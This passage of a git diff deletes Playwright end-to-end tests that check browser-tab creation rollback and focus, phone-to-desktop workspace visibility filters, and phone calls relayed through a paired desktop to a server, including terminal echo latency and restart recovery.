'the strip X left the staged browser tab standing' - ) - expect(cancelled.tabs.filter((tab) => tab.contentType === 'browser')).toEqual([]) - - // Reset clears the hold and snapshot suppression without injecting failure; release would clean up independently and mask broken cancellation. - await client.page.evaluate(() => - (window as FaultWindow).__webRuntimeBrowserCreationFault?.reset() - ) - await client.page.evaluate( - () => (window as unknown as { __heldBrowserCreate: Promise }).__heldBrowserCreate - ) - - // Check the host list for retirement; client row removal alone can hide an orphan. - await expect - .poll(() => readHostBrowserPageIds(fixture.host.client, testRepoPath), { - timeout: 60_000, - message: 'host kept the page from the cancelled create' - }) - .toEqual([]) - // Wait for unsuppressed snapshots to expose a delayed resurrection. - await client.page.evaluate(() => new Promise((resolve) => setTimeout(resolve, 3_000))) - const settled = await readPanes(client.page, worktreeId) - expect(requireGroup(settled, rootGroupId).tabOrder).toEqual(before.tabOrder) - expect(settled.activeGroupId).toBe(rootGroupId) - expect( - await client.page.evaluate( - (id) => (window.__store?.getState().browserTabsByWorktree[id] ?? []).length, - worktreeId - ) - ).toBe(0) - // Keep transition history to catch resurrection followed by reconciliation removal. - const transitions = await readBrowserTabTransitions(fixture) - expect(transitions.at(-1)).toBe('') - expect(transitions.filter((entry) => entry !== '')).toHaveLength(1) - } finally { - await fixture.dispose() - } -}) - -// Rollback must preserve workspace selection even when the only tab disappears, unlike an intentional final-tab close. -test('leaves the user on an empty worktree when its first browser create fails', async ({ - testRepoPath -}, testInfo) => { - test.setTimeout(300_000) - const fixture = await setUpPairedFixture(testInfo, testRepoPath) - try { - const { client, rootGroupId, worktreeId } = fixture - - // Empty the worktree, then stand in it again — closing the last tab deselects it by design. - await client.page.evaluate( - ({ groupId, worktreeId }) => { - const store = window.__store - const state = store?.getState() - if (!store || !state) { - throw new Error('Paired client store unavailable') - } - const group = (state.groupsByWorktree[worktreeId] ?? []).find( - (candidate) => candidate.id === groupId - ) - // Safe to iterate while closing: the store replaces tabOrder rather than mutating it. - const tabOrder = group?.tabOrder ?? [] - for (const tabId of tabOrder) { - store.getState().closeUnifiedTab(tabId) - } - store.getState().setActiveWorktree(worktreeId) - }, - { groupId: rootGroupId, worktreeId } - ) - await expect - .poll( - () => - client.page.evaluate( - (id) => ({ - activeWorktreeId: window.__store?.getState().activeWorktreeId ?? null, - tabCount: (window.__store?.getState().unifiedTabsByWorktree[id] ?? []).length - }), - worktreeId - ), - { timeout: 30_000, message: 'worktree never settled empty-but-selected' } - ) - .toEqual({ activeWorktreeId: worktreeId, tabCount: 0 }) - - await client.page.evaluate(() => { - const fault = (window as FaultWindow).__webRuntimeBrowserCreationFault - if (!fault) { - throw new Error('Browser creation E2E fault seam unavailable') - } - fault.arm() - }) - await client.page.evaluate( - ({ groupId, url }) => { - const state = window.__store?.getState() - if (!state) { - throw new Error('Paired client store unavailable') - } - state.setBrowserDefaultUrl(url) - const create = state.openNewBrowserTabInActiveWorkspace(groupId).catch(() => undefined) - ;(window as unknown as { __heldBrowserCreate: Promise }).__heldBrowserCreate = create - }, - { groupId: rootGroupId, url: fixture.url } - ) - // Observe the worktree because its group exists only while the optimistic tab exists. - await expect - .poll(() => readEmptyWorktreeState(client.page, worktreeId), { - timeout: 60_000, - message: 'paired client never staged the optimistic browser tab in the empty worktree' - }) - .toEqual({ activeWorktreeId: worktreeId, browserTabs: 1, browserWorkspaces: 1 }) - - await expect - .poll( - () => - client.page.evaluate( - () => (window as FaultWindow).__webRuntimeBrowserCreationFault?.snapshot() ?? null - ), - { timeout: 60_000, message: 'held browser create never reached the fault seam' } - ) - .toMatchObject({ armed: true, createdPageId: expect.any(String) }) - expect( - await client.page.evaluate( - () => (window as FaultWindow).__webRuntimeBrowserCreationFault?.release() ?? false - ) - ).toBe(true) - await client.page.evaluate( - () => (window as unknown as { __heldBrowserCreate: Promise }).__heldBrowserCreate - ) - - // The rollback unwinds the tab AND leaves the user standing where they clicked. - await expect - .poll(() => readEmptyWorktreeState(client.page, worktreeId), { - timeout: 90_000, - message: 'failed browser create left its optimistic tab behind' - }) - .toEqual({ activeWorktreeId: worktreeId, browserTabs: 0, browserWorkspaces: 0 }) - await client.page.evaluate(() => - (window as FaultWindow).__webRuntimeBrowserCreationFault?.reset() - ) - } finally { - await fixture.dispose() - } -}) - -/** Arm the create seam and start a create that will hold, staged, until the seam is reset. */ -async function startHeldCreate( - fixture: Awaited>, - groupId: string -): Promise { - const { client, worktreeId } = fixture - await client.page.evaluate(() => { - const fault = (window as FaultWindow).__webRuntimeBrowserCreationFault - if (!fault) { - throw new Error('Browser creation E2E fault seam unavailable') - } - fault.arm() - }) - await client.page.evaluate( - ({ groupId, url }) => { - const state = window.__store?.getState() - if (!state) { - throw new Error('Paired client store unavailable') - } - state.setBrowserDefaultUrl(url) - const create = state.openNewBrowserTabInActiveWorkspace(groupId).catch(() => undefined) - ;(window as unknown as { __heldBrowserCreate: Promise }).__heldBrowserCreate = create - }, - { groupId, url: fixture.url } - ) - await expect - .poll(() => readActiveBrowserPlacementKind(client.page, worktreeId), { - timeout: 60_000, - message: 'paired client never staged the optimistic browser tab' - }) - .toBe('staged') - await expect - .poll( - () => - client.page.evaluate( - () => (window as FaultWindow).__webRuntimeBrowserCreationFault?.snapshot() ?? null - ), - { timeout: 60_000, message: 'held browser create never reached the fault seam' } - ) - .toMatchObject({ armed: true, createdPageId: expect.any(String) }) -} - -/** Release the seam without arming a reconciliation failure, then wait for adoption. */ -async function releaseHeldCreateAndAdopt( - fixture: Awaited> -): Promise { - const { client, worktreeId } = fixture - await client.page.evaluate(() => - (window as FaultWindow).__webRuntimeBrowserCreationFault?.reset() - ) - await client.page.evaluate( - () => (window as unknown as { __heldBrowserCreate: Promise }).__heldBrowserCreate - ) - await expect - .poll(() => readActiveBrowserPlacementKind(client.page, worktreeId), { - timeout: 90_000, - message: 'the held create never adopted its staged tab' - }) - .toBe('client') - // Wait after adoption so delayed snapshots can expose regressions. - await client.page.evaluate(() => new Promise((resolve) => setTimeout(resolve, 3_000))) -} - -/** The browser tab's unified id, whichever group it currently sits in. */ -async function readBrowserTabId( - page: Awaited>['client']['page'], - worktreeId: string -): Promise { - return page.evaluate( - (id) => - (window.__store?.getState().unifiedTabsByWorktree[id] ?? []).find( - (tab) => tab.contentType === 'browser' - )?.id ?? null, - worktreeId - ) -} - -// Use the tab’s current group after a staged split; its original requested group would undo the user’s move. -test('keeps a split made while the paired create is still staged', async ({ - testRepoPath -}, testInfo) => { - test.setTimeout(300_000) - const fixture = await setUpPairedFixture(testInfo, testRepoPath) - try { - const { client, rootGroupId, worktreeId } = fixture - await startHeldCreate(fixture, rootGroupId) - - // The user drags the staged tab out into a new pane while the create is still held. - const stagedTabId = await readBrowserTabId(client.page, worktreeId) - expect(stagedTabId).not.toBeNull() - await client.page.evaluate( - ({ groupId, tabId }) => - window.__store?.getState().dropUnifiedTab(tabId, { groupId, splitDirection: 'right' }), - { groupId: rootGroupId, tabId: stagedTabId as string } - ) - const split = await readPanes(client.page, worktreeId) - const splitGroupId = split.groups.find((group) => - group.tabOrder.includes(stagedTabId as string) - )?.id - expect(splitGroupId).toBeDefined() - expect(splitGroupId).not.toBe(rootGroupId) - expect(split.layoutGroupIds).toContain(splitGroupId) - - await releaseHeldCreateAndAdopt(fixture) - - const adopted = await readPanes(client.page, worktreeId) - const adoptedTabId = await readBrowserTabId(client.page, worktreeId) - expect(requireGroup(adopted, splitGroupId as string).tabOrder).toContain(adoptedTabId) - expect(adopted.layoutGroupIds).toContain(splitGroupId) - } finally { - await fixture.dispose() - } -}) - -// Hold host preparation: the old focus baseline sampled after that roundtrip and incorrectly accepted an intervening user switch. -test('leaves the user on the tab they switched to during client-host preparation', async ({ - testRepoPath -}, testInfo) => { - test.setTimeout(300_000) - const fixture = await setUpPairedFixture(testInfo, testRepoPath) - try { - const { client, rootGroupId, worktreeId } = fixture - const before = requireGroup(await readPanes(client.page, worktreeId), rootGroupId) - const otherTabId = before.tabOrder[0] - expect(otherTabId).toBeDefined() - - await client.page.evaluate(() => { - const fault = (window as FaultWindow).__webRuntimeBrowserCreationFault - if (!fault) { - throw new Error('Browser creation E2E fault seam unavailable') - } - fault.armPreparation() - }) - await client.page.evaluate( - ({ groupId, url }) => { - const state = window.__store?.getState() - if (!state) { - throw new Error('Paired client store unavailable') - } - state.setBrowserDefaultUrl(url) - const create = state.openNewBrowserTabInActiveWorkspace(groupId).catch(() => undefined) - ;(window as unknown as { __heldBrowserCreate: Promise }).__heldBrowserCreate = create - }, - { groupId: rootGroupId, url: fixture.url } - ) - await expect - .poll( - () => - client.page.evaluate( - () => (window as FaultWindow).__webRuntimeBrowserCreationFault?.snapshot() ?? null - ), - { timeout: 60_000, message: 'the create never reached the client-host preparation seam' } - ) - .toMatchObject({ preparationReached: true }) - // Staging already happened and activated the new tab, so this is a real move away from it. - await expect - .poll(() => readActiveBrowserPlacementKind(client.page, worktreeId), { - timeout: 60_000, - message: 'paired client never staged the optimistic browser tab' - }) - .toBe('staged') - expect( - requireGroup(await readPanes(client.page, worktreeId), rootGroupId).activeTabId - ).not.toBe(otherTabId) - - // The user clicks back to their terminal while the desktop host is still being prepared. - await client.page.evaluate( - (tabId) => window.__store?.getState().activateTab(tabId), - otherTabId as string - ) - expect(requireGroup(await readPanes(client.page, worktreeId), rootGroupId).activeTabId).toBe( - otherTabId - ) - - await client.page.evaluate(() => - (window as FaultWindow).__webRuntimeBrowserCreationFault?.releasePreparation() - ) - await client.page.evaluate( - () => (window as unknown as { __heldBrowserCreate: Promise }).__heldBrowserCreate - ) - await expect - .poll(() => readActiveBrowserPlacementKind(client.page, worktreeId), { - timeout: 90_000, - message: 'the create never adopted its staged tab' - }) - .toBe('client') - await client.page.evaluate(() => new Promise((resolve) => setTimeout(resolve, 3_000))) - - const adopted = await readPanes(client.page, worktreeId) - expect(requireGroup(adopted, rootGroupId).activeTabId).toBe(otherTabId) - expect(adopted.activeGroupId).toBe(rootGroupId) - } finally { - await fixture.dispose() - } -}) diff --git a/tests/e2e/paired-mobile-desktop-mirror-workspace-visibility.spec.ts b/tests/e2e/paired-mobile-desktop-mirror-workspace-visibility.spec.ts deleted file mode 100644 index 921eb46bb6d..00000000000 --- a/tests/e2e/paired-mobile-desktop-mirror-workspace-visibility.spec.ts +++ /dev/null @@ -1,229 +0,0 @@ -// Phone server rows must match desktop sidebar filters for other-client and sleeping workspaces; the server cannot evaluate desktop-local tabs. -import { execFileSync } from 'node:child_process' -import { mkdirSync, writeFileSync } from 'node:fs' -import path from 'node:path' -import { z } from 'zod' -import { expect, test } from './helpers/orca-app' -import { NO_WORKSPACE_ROW_FILTERS } from '../../src/shared/workspace-view/workspace-row-filters' -import { launchPhoneMirrorTopology } from './helpers/phone-mirror-topology' -import type { PairedMobileSocket } from './helpers/paired-mobile-client' -import { filterWorktrees } from '../../mobile/src/worktree/workspace-list/workspace-row-filtering' -import { getWorktreeStatus } from '../../mobile/src/worktree/workspace-list/workspace-list-ordering' -import type { Worktree } from '../../mobile/src/worktree/workspace-list/workspace-list-types' - -const ServerRowsSchema = z.object({ - worktrees: z.array( - z.looseObject({ - worktreeId: z.string(), - repoId: z.string(), - path: z.string(), - branch: z.string(), - isMainWorktree: z.boolean().optional(), - hasHostSidebarActivity: z.boolean().optional(), - status: z.enum(['working', 'active', 'permission', 'done', 'inactive']).optional(), - desktopOtherClient: z.literal(true).optional() - }) - ) -}) -const ReposSchema = z.object({ - repos: z.array(z.looseObject({ id: z.string(), path: z.string() })) -}) -const HostsSchema = z.object({ hosts: z.array(z.looseObject({ hostId: z.string() })) }) -const ProjectSectionsSchema = z.object({ - catalog: z - .object({ - repos: z.array(z.looseObject({ path: z.string(), executionHostId: z.string().optional() })) - }) - .nullable() -}) -const TabsSchema = z.looseObject({ tabs: z.array(z.looseObject({ id: z.string() })) }) - -let requestId = 0 -async function result( - socket: PairedMobileSocket, - method: string, - params: unknown, - executionHost?: string -): Promise { - requestId += 1 - const id = `visibility-${requestId}` - socket.send(id, method, params, executionHost) - let frame: PairedMobileSocket['frames'][number] | undefined - await expect - .poll(() => (frame = socket.frames.find((entry) => entry.id === id)), { timeout: 30_000 }) - .toBeDefined() - expect(frame?.ok, `${method}: ${JSON.stringify(frame?.error)}`).toBe(true) - return frame?.result -} - -test("phone lists a server's workspaces exactly as the desktop sidebar filters them", async (// oxlint-disable-next-line no-empty-pattern -- this test owns its topology launch. -{}, testInfo) => { - test.setTimeout(240_000) - const serverRepo = testInfo.outputPath('server-repo') - mkdirSync(serverRepo, { recursive: true }) - writeFileSync(path.join(serverRepo, 'README.md'), 'server repo\n') - const git = (...args: string[]) => execFileSync('git', args, { cwd: serverRepo, stdio: 'pipe' }) - git('init', '-b', 'main') - git('add', 'README.md') - git('-c', 'user.name=E2E', '-c', 'user.email=e2e@test.local', 'commit', '-m', 'init') - const { host, desktop, phone, dispose } = await launchPhoneMirrorTopology( - { phoneTo: 'desktop' }, - testInfo - ) - try { - await host.client.call('repo.add', { path: serverRepo, kind: 'git' }) - const socket = await phone.openSocket() - const { hosts } = HostsSchema.parse(await result(socket, 'mobileRelay.hosts.list', {})) - const serverHostId = hosts[0]?.hostId ?? '' - expect(serverHostId).toMatch(/^runtime:/) - const { repos } = ReposSchema.parse(await result(socket, 'repo.list', {}, serverHostId)) - const repo = `id:${repos.find((entry) => entry.path === serverRepo)?.id ?? ''}` - const create = { setupDecision: 'skip' } - // The desktop window publishes the catalog its sidebar groups Project sections with. - await expect - .poll( - async () => - ProjectSectionsSchema.parse( - await result(socket, 'mobileRelay.projectSections', {}) - ).catalog?.repos.some( - (entry) => entry.path === serverRepo && entry.executionHostId === serverHostId - ) ?? false, - { timeout: 30_000 } - ) - .toBe(true) - - // One workspace each: created on the server itself, by the desktop, and by the phone through it. - await host.client.call('worktree.create', { repo, name: 'from-server', ...create }) - await desktop.page.evaluate( - async ({ environmentId, params }) => { - const response = await window.api.runtimeEnvironments.call({ - selector: environmentId, - method: 'worktree.create', - params - }) - if (!response.ok) { - throw new Error(response.error.message) - } - }, - { environmentId: desktop.environmentId, params: { repo, name: 'from-desktop', ...create } } - ) - await result(socket, 'worktree.create', { repo, name: 'from-phone', ...create }, serverHostId) - - const phoneRows = async () => - ServerRowsSchema.parse( - await result(socket, 'mobileRelay.hosts.worktrees', { hostId: serverHostId }) - ).worktrees - const named = (rows: { path: string }[], suffix: string) => - rows.some((row) => row.path.endsWith(suffix)) - /** The phone's rows after its own filters, against the server rows the desktop sidebar renders. */ - const expectPhoneMatchesSidebar = async (hideSleeping: boolean): Promise => { - let shown: string[] = [] - // Why both sides inside the poll: either can still be catching up with the last change. - await expect - .poll( - async () => { - const rows = await phoneRows() - const serverIds = new Set(rows.map((row) => row.worktreeId)) - const phone = filterWorktrees( - rows.map(toMobileRow), - { - ...NO_WORKSPACE_ROW_FILTERS, - hideSleepingWorkspaces: hideSleeping, - hideWorkspacesFromOtherDevices: true - }, - '' - ) - shown = phone.map((row) => row.path) - const rendered = await desktop.page - .locator('[data-worktree-id]') - .evaluateAll((nodes) => nodes.map((node) => node.getAttribute('data-worktree-id'))) - const sidebar = [...new Set(rendered)] - .filter((id): id is string => id !== null && serverIds.has(id)) - .sort() - return ( - JSON.stringify(sidebar) === JSON.stringify(phone.map((row) => row.worktreeId).sort()) - ) - }, - { timeout: 30_000 } - ) - .toBe(true) - return shown - } - - // The desktop marks the server's own row as another client's; the desktop's and its phone's stay. - await expect - .poll( - async () => { - const marked = (await phoneRows()).filter((row) => row.desktopOtherClient) - return [ - named(marked, 'from-server'), - named(marked, 'from-desktop'), - named(marked, 'from-phone') - ] - }, - { timeout: 60_000 } - ) - .toEqual([true, false, false]) - // The marks are facts, so they were there before the filter; the phone applies the value. - await desktop.page.evaluate(() => - window.__store!.getState().setHideWorkspacesFromOtherDevices(true) - ) - const shown = await expectPhoneMatchesSidebar(false) - expect(shown.map((row) => path.basename(row))).toEqual( - expect.arrayContaining(['from-desktop', 'from-phone']) - ) - - // Keep only a desktop-local browser tab awake; server-only sleep state cannot see it. - const desktopRowStatus = async () => { - const row = (await phoneRows()).find((entry) => entry.path.endsWith('from-desktop')) - return row ? getWorktreeStatus(toMobileRow(row)) : null - } - // Creation opened a terminal there; close it so only the desktop's own tab can keep it awake. - const desktopRow = (await phoneRows()).find((entry) => entry.path.endsWith('from-desktop')) - const worktree = `id:${desktopRow?.worktreeId ?? ''}` - const { tabs } = TabsSchema.parse( - (await host.client.call('session.tabs.list', { worktree })).result - ) - for (const tab of tabs) { - await host.client.call('session.tabs.close', { worktree, tabId: tab.id, reason: 'user' }) - } - await expect.poll(desktopRowStatus, { timeout: 30_000 }).toBe('inactive') - await desktop.page.evaluate(async () => { - const state = window.__store!.getState() - state.setShowSleepingWorkspaces(false) - const worktree = state.allWorktrees().find((entry) => entry.path.endsWith('from-desktop')) - if (!worktree) { - throw new Error('the desktop does not list its own server workspace') - } - state.setActiveWorktree(worktree.id, worktree.hostId) - state.setBrowserDefaultUrl('about:blank') - await state.openNewBrowserTabInActiveWorkspace(state.activeGroupIdByWorktree[worktree.id]) - }) - // The phone's status dot and its Hide sleeping both read the desktop's view of the row. - await expect.poll(desktopRowStatus, { timeout: 60_000 }).toBe('active') - const awake = await expectPhoneMatchesSidebar(true) - expect(awake.map((row) => path.basename(row))).toContain('from-desktop') - } finally { - await dispose() - } -}) - -function toMobileRow(row: z.infer['worktrees'][number]): Worktree { - return { - worktreeId: row.worktreeId, - repoId: row.repoId, - repo: '', - branch: row.branch, - displayName: row.worktreeId, - path: row.path, - isMainWorktree: row.isMainWorktree, - hasHostSidebarActivity: row.hasHostSidebarActivity, - desktopOtherClient: row.desktopOtherClient, - status: row.status, - liveTerminalCount: 0, - hasAttachedPty: false, - unread: false, - isPinned: false, - linkedPR: null - } -} diff --git a/tests/e2e/paired-mobile-desktop-mirror.spec.ts b/tests/e2e/paired-mobile-desktop-mirror.spec.ts deleted file mode 100644 index f4d110df6dd..00000000000 --- a/tests/e2e/paired-mobile-desktop-mirror.spec.ts +++ /dev/null @@ -1,430 +0,0 @@ -// Relay phone calls through its paired desktop using executionHost:runtime:, authenticated as the phone’s delegated server device. -import { execFileSync } from 'node:child_process' -import { mkdirSync, writeFileSync } from 'node:fs' -import path from 'node:path' -import type { Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { launchPhoneMirrorTopology } from './helpers/phone-mirror-topology' -import { openPairedSocket, type PairedMobileSocket } from './helpers/paired-mobile-client' -import { RuntimeClient } from '../../src/cli/runtime/client' -import { decodePairingOffer } from '../../src/shared/remote-runtime/pairing/pairing' -import { z } from 'zod' - -type Frame = PairedMobileSocket['frames'][number] - -const WorktreeListSchema = z.object({ - worktrees: z.array(z.looseObject({ worktreeId: z.string(), path: z.string() })) -}) -const CreatedTerminalSchema = z.object({ tab: z.looseObject({ terminal: z.string().nullable() }) }) -const CreatedTabSchema = z.object({ tab: z.looseObject({ id: z.string(), terminal: z.string() }) }) -const ReposSchema = z.object({ - repos: z.array(z.looseObject({ id: z.string(), path: z.string() })) -}) -const ServerTabsSchema = z.looseObject({ tabs: z.array(z.looseObject({ id: z.string() })) }) -const SubscribedSchema = z.looseObject({ type: z.literal('subscribed'), streamId: z.number() }) -const HostsSchema = z.object({ - hosts: z.array(z.looseObject({ hostId: z.string(), health: z.string(), relay: z.string() })) -}) -const DirectorySchema = z.array(z.looseObject({ name: z.string() })) -const GitStatusSchema = z.looseObject({ entries: z.array(z.looseObject({ path: z.string() })) }) -const HostWorktreesSchema = z.looseObject({ - worktrees: z.array( - z.looseObject({ worktreeId: z.string(), path: z.string(), hostId: z.string() }) - ) -}) - -let pollId = 0 -/** The server's rows as the phone lists them: through the desktop's own fetch. */ -async function hostWorktrees(socket: PairedMobileSocket, hostId: string) { - pollId += 1 - const id = `host-worktrees-${pollId}` - socket.send(id, 'mobileRelay.hosts.worktrees', { hostId }) - const listed = HostWorktreesSchema.safeParse((await reply(socket, id)).result) - return listed.success ? listed.data : null -} - -let hostsId = 0 -/** The server as the desktop reports it to the phone: its health and whether it relays. */ -async function listedHost(socket: PairedMobileSocket, hostId: string) { - hostsId += 1 - const { hosts } = await call( - socket, - { id: `hosts-${hostsId}`, method: 'mobileRelay.hosts.list', params: {} }, - HostsSchema - ) - return hosts.find((entry) => entry.hostId === hostId) -} - -async function reply(socket: PairedMobileSocket, id: string, timeout = 30_000): Promise { - let found: Frame | undefined - await expect - .poll(() => (found = socket.frames.find((frame) => frame.id === id)), { timeout }) - .toBeDefined() - return found! -} - -async function call( - socket: PairedMobileSocket, - request: { id: string; method: string; params: unknown; executionHost?: string }, - schema: z.ZodType -): Promise { - socket.send(request.id, request.method, request.params, request.executionHost) - const frame = await reply(socket, request.id) - expect(frame.ok, `${request.method}: ${JSON.stringify(frame.error)}`).toBe(true) - return schema.parse(frame.result) -} - -/** Opens a terminal on the workspace, subscribes and returns how to type into it. */ -async function openTerminal(socket: PairedMobileSocket, worktreeId: string, host?: string) { - const { tab } = await call( - socket, - { - id: `create-${worktreeId}-${host ?? 'direct'}`, - method: 'session.tabs.createTerminal', - params: { - worktree: `id:${worktreeId}`, - activate: false, - select: false, - navigation: 'caller' - }, - executionHost: host - }, - CreatedTerminalSchema - ) - const terminal = tab.terminal ?? '' - expect(terminal, 'the server publishes the terminal it created').not.toBe('') - const client = { id: socket.token, type: 'mobile' } - const subscribeId = `sub-${terminal}` - socket.send( - subscribeId, - 'terminal.subscribe', - { - terminal, - client, - viewport: { cols: 80, rows: 24 }, - capabilities: { terminalBinaryStream: 1 } - }, - host - ) - let streamId = -1 - await expect - .poll(() => { - for (const frame of socket.frames) { - const subscribed = SubscribedSchema.safeParse(frame.result) - if (frame.id === subscribeId && subscribed.success) { - streamId = subscribed.data.streamId - } - } - return streamId - }) - .toBeGreaterThan(-1) - let sent = 0 - const send = (text: string, enter: boolean): void => { - sent += 1 - socket.send(`in-${terminal}-${sent}`, 'terminal.send', { terminal, text, enter, client }, host) - } - return { - /** Runs `echo` of an arithmetic marker, so only an executed command prints the answer. */ - runMarker: async (label: string): Promise => { - send(`echo ${label}_$((1000+7))`, true) - await socket.waitForOutput(streamId, `${label}_1007`, 20_000) - }, - /** Time from sending a keystroke to its echo, then clears the line. */ - keystrokeEchoMs: async (key: string): Promise => { - const startedAt = performance.now() - send(key, false) - await socket.waitForOutput(streamId, key, 20_000) - const elapsed = performance.now() - startedAt - send('\x15', false) - return elapsed - } - } -} - -test('phone paired with a desktop lists, opens and types into a workspace on its server', async ({ - testRepoPath -}, testInfo) => { - test.setTimeout(180_000) - const serverFolder = testInfo.outputPath('server-folder') - mkdirSync(serverFolder, { recursive: true }) - writeFileSync(path.join(serverFolder, 'README.md'), 'server workspace\n') - // A git repo on the server too, so Source Control has a change to read there. - const serverRepo = testInfo.outputPath('server-repo') - mkdirSync(serverRepo, { recursive: true }) - writeFileSync(path.join(serverRepo, 'NOTES.md'), 'first\n') - const git = (...args: string[]) => execFileSync('git', args, { cwd: serverRepo, stdio: 'pipe' }) - git('init') - git('add', 'NOTES.md') - git('-c', 'user.name=E2E', '-c', 'user.email=e2e@test.local', 'commit', '-m', 'init') - writeFileSync(path.join(serverRepo, 'NOTES.md'), 'changed on the server\n') - - const { host, desktop, phone, dispose } = await launchPhoneMirrorTopology( - { phoneTo: 'desktop', pinnedServePort: true }, - testInfo - ) - try { - await host.client.call('repo.add', { path: serverFolder, kind: 'folder' }) - await host.client.call('repo.add', { path: serverRepo, kind: 'git' }) - await new RuntimeClient(desktop.userDataDir, 5_000).call('repo.add', { - path: testRepoPath, - kind: 'git' - }) - let serverHostId = '' - await expect - .poll( - async () => - (serverHostId = await desktop.page.evaluate( - (folder) => - window.__store - ?.getState() - .allWorktrees() - .find((worktree) => worktree.path === folder)?.hostId ?? '', - serverFolder - )), - { timeout: 30_000 } - ) - .toMatch(/^runtime:/) - - const socket = await phone.openSocket() - const status = await call( - socket, - { id: 'status', method: 'status.get', params: {} }, - z.looseObject({ capabilities: z.array(z.string()) }) - ) - expect(status.capabilities).toContain('mobile.desktop-relay.v1') - // The desktop's own list stays its own, exactly as an older page sees it. - const list = { method: 'worktree.ps', params: { limit: 1_000 } } - const local = await call(socket, { id: 'ps-local', ...list }, WorktreeListSchema) - expect(local.worktrees.map((row) => row.path)).toContain(testRepoPath) - expect(local.worktrees.map((row) => row.path)).not.toContain(serverFolder) - - const { hosts } = await call( - socket, - { id: 'hosts', method: 'mobileRelay.hosts.list', params: {} }, - HostsSchema - ) - expect(hosts).toContainEqual(expect.objectContaining({ hostId: serverHostId, relay: 'ready' })) - let listed: Awaited> = null - await expect - .poll(async () => { - listed = await hostWorktrees(socket, serverHostId) - return listed?.worktrees.some((row) => row.path === serverRepo) ?? false - }) - .toBe(true) - const serverRow = listed!.worktrees.find((row) => row.path === serverFolder) - const serverRepoRow = listed!.worktrees.find((row) => row.path === serverRepo) - expect(serverRow, 'the phone lists the server workspace through the desktop').toBeDefined() - expect(new Set(listed!.worktrees.map((row) => row.hostId))).toEqual(new Set([serverHostId])) - - const readDir = (worktreeId: string) => ({ - method: 'files.readDir', - params: { worktree: `id:${worktreeId}`, relativePath: '' } - }) - const gitStatus = (worktreeId: string) => ({ - method: 'git.status', - params: { worktree: `id:${worktreeId}` } - }) - const entries = await call( - socket, - { id: 'files', ...readDir(serverRow!.worktreeId), executionHost: serverHostId }, - DirectorySchema - ) - expect(entries.map((entry) => entry.name)).toContain('README.md') - const changes = await call( - socket, - { id: 'git', ...gitStatus(serverRepoRow!.worktreeId), executionHost: serverHostId }, - GitStatusSchema - ) - expect(changes.entries.map((entry) => entry.path)).toContain('NOTES.md') - for (const [id, request] of [ - ['files-desktop', readDir(serverRow!.worktreeId)], - ['git-desktop', gitStatus(serverRepoRow!.worktreeId)] - ] as const) { - socket.send(id, request.method, request.params) - expect((await reply(socket, id)).ok, `${request.method} untargeted`).toBe(false) - } - - const relayed = await openTerminal(socket, serverRow!.worktreeId, serverHostId) - await relayed.runMarker('MIRROR') - const relayedMs: number[] = [] - for (let i = 0; i < 10; i += 1) { - relayedMs.push(await relayed.keystrokeEchoMs(`rq${i}x`)) - } - - // The same echo on a socket paired straight to the server, for the cost of the extra hop. - const direct = await openPairedSocket(decodePairingOffer(host.offer.pairingUrl)) - try { - const directTerminal = await openTerminal(direct, serverRow!.worktreeId) - await directTerminal.runMarker('DIRECT') - const directMs: number[] = [] - for (let i = 0; i < 10; i += 1) { - directMs.push(await directTerminal.keystrokeEchoMs(`dq${i}x`)) - } - const latency = JSON.stringify({ relayedMs, directMs }) - console.log(`[mirror] keystroke echo ms ${latency}`) - await testInfo.attach('echo-latency-ms', { body: latency, contentType: 'application/json' }) - } finally { - direct.close() - } - - await host.restartServeProcess({ - betweenProcesses: async () => { - // While the server is down, retain cached workspace rows and report reconnecting without relay. - await expect - .poll( - async () => { - const down = await listedHost(socket, serverHostId) - return down && { health: down.health, relay: down.relay } - }, - { timeout: 60_000, intervals: [1_000] } - ) - .toEqual({ health: 'connecting', relay: 'unavailable' }) - const lastRows = await hostWorktrees(socket, serverHostId) - expect(lastRows?.worktrees.map((row) => row.path)).toContain(serverFolder) - // A relayed call fails as unavailable, and never runs on the desktop instead. - socket.send('ps-stopped', 'worktree.ps', { limit: 1_000 }, serverHostId) - const stopped = await reply(socket, 'ps-stopped', 60_000) - expect(stopped.ok).toBe(false) - expect(stopped.error?.code).toBe('remote_runtime_unavailable') - for (const [id, request] of [ - ['files-stopped', readDir(serverRow!.worktreeId)], - ['git-stopped', gitStatus(serverRepoRow!.worktreeId)] - ] as const) { - socket.send(id, request.method, request.params, serverHostId) - const failed = await reply(socket, id, 60_000) - expect(failed.ok, `${request.method} while the server is down`).toBe(false) - expect(failed.error?.code).toBe('remote_runtime_unavailable') - } - } - }) - await expect - .poll(async () => (await listedHost(socket, serverHostId))?.relay, { - timeout: 90_000, - intervals: [2_000] - }) - .toBe('ready') - const reopened = await call( - socket, - { id: 'ps-restarted', ...list, executionHost: serverHostId }, - WorktreeListSchema - ) - expect(reopened.worktrees.map((row) => row.path)).toContain(serverFolder) - } finally { - await dispose() - } -}) - -/** The terminal handles the desktop window shows for a workspace (its remote pty ids end in one). */ -function desktopTerminalHandles(desktop: { page: Page }, worktreeId: string): Promise { - return desktop.page.evaluate( - (id) => - (window.__store?.getState().tabsByWorktree[id] ?? []).map( - (tab) => tab.ptyId?.split('@@').at(-1) ?? '' - ), - worktreeId - ) -} - -test('phone tab and workspace actions on a server show on the server and the desktop', async (// oxlint-disable-next-line no-empty-pattern -- this test owns its topology launch. -{}, testInfo) => { - test.setTimeout(180_000) - const serverFolder = testInfo.outputPath('server-folder') - mkdirSync(serverFolder, { recursive: true }) - const serverRepo = testInfo.outputPath('server-repo') - mkdirSync(serverRepo, { recursive: true }) - writeFileSync(path.join(serverRepo, 'README.md'), 'server repo\n') - const git = (...args: string[]) => execFileSync('git', args, { cwd: serverRepo, stdio: 'pipe' }) - git('init', '-b', 'main') - git('add', 'README.md') - git('-c', 'user.name=E2E', '-c', 'user.email=e2e@test.local', 'commit', '-m', 'init') - const { host, desktop, phone, dispose } = await launchPhoneMirrorTopology( - { phoneTo: 'desktop' }, - testInfo - ) - try { - await host.client.call('repo.add', { path: serverFolder, kind: 'folder' }) - await host.client.call('repo.add', { path: serverRepo, kind: 'git' }) - const socket = await phone.openSocket() - const { hosts } = await call( - socket, - { id: 'hosts', method: 'mobileRelay.hosts.list', params: {} }, - HostsSchema - ) - const serverHostId = hosts[0]?.hostId ?? '' - // The new-workspace sheet lists the server's repos there and creates on it. - const { repos } = await call( - socket, - { id: 'repos', method: 'repo.list', params: {}, executionHost: serverHostId }, - ReposSchema - ) - const repoId = repos.find((repo) => 